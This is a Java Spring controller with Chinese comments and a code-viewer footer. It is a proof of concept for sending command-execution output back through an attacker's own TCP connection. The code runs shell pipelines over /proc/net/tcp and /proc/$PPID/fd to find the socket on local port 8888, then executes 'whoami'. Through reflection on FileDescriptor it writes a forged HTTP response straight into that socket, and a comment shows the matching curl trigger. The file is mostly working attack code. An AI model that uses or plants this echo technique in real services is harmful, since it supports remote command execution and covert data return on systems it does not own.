()
| 6 | @RestController |
| 7 | public class socket { |
| 8 | @RequestMapping("/socket") |
| 9 | public String test(){ |
| 10 | try{ |
| 11 | //获取文件描述符 局限有点大 ubu 没有成功。。 |
| 12 | String[] cmd = new String[]{"/bin/sh","-c","inode=`cat /proc/net/tcp|awk '{if($10>0)print}'|awk '{print $3,$10}'|grep -i 22B8|awk '{print $2}'`;fd=`ls -l /proc/$PPID/fd|grep $inode|awk '{print $9}'`;echo -n $fd"}; |
| 13 | //22B8===> 8888 |
| 14 | // curl --local-port 8888 target |
| 15 | java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| 16 | java.io.InputStreamReader isr = new java.io.InputStreamReader(in); |
| 17 | java.io.BufferedReader br = new java.io.BufferedReader(isr); |
| 18 | StringBuilder stringBuilder = new StringBuilder(); |
| 19 | String line; |
| 20 | while ((line = br.readLine()) != null){ |
| 21 | stringBuilder.append(line); |
| 22 | } |
| 23 | int fd = Integer.valueOf(stringBuilder.toString()).intValue(); |
| 24 | |
| 25 | |
| 26 | //获取命令执行结果 |
| 27 | cmd = new String[]{"/bin/sh","-c","whoami"}; |
| 28 | in = Runtime.getRuntime().exec(cmd).getInputStream(); |
| 29 | isr = new java.io.InputStreamReader(in); |
| 30 | br = new java.io.BufferedReader(isr); |
| 31 | stringBuilder = new StringBuilder(); |
| 32 | while ((line = br.readLine()) != null){ |
| 33 | stringBuilder.append(line); |
| 34 | } |
| 35 | String result = stringBuilder.toString(); |
| 36 | |
| 37 | //拼装成正常的HTTP响应 |
| 38 | String response = "HTTP/1.1 200 OK\r\n" |
| 39 | + "Content-Type: text/html\r\n" |
| 40 | + "Content-Length: " + result.length() |
| 41 | + "\r\n\r\n" |
| 42 | + result |
| 43 | + "\r\n\r\n"; |
| 44 | |
| 45 | //写入socket |
| 46 | java.lang.reflect.Constructor c=java.io.FileDescriptor.class.getDeclaredConstructor(new Class[]{Integer.TYPE}); |
| 47 | c.setAccessible(true); |
| 48 | java.io.FileOutputStream os = new java.io.FileOutputStream((java.io.FileDescriptor)c.newInstance(new Object[]{new Integer(fd)})); |
| 49 | os.write(response.getBytes()); |
| 50 | os.close(); |
| 51 | }catch (Exception e){ |
| 52 | e.printStackTrace(); |
| 53 | } |
| 54 | return "test"; |
| 55 | } |
| 56 | } |
nothing calls this directly
no test coverage detected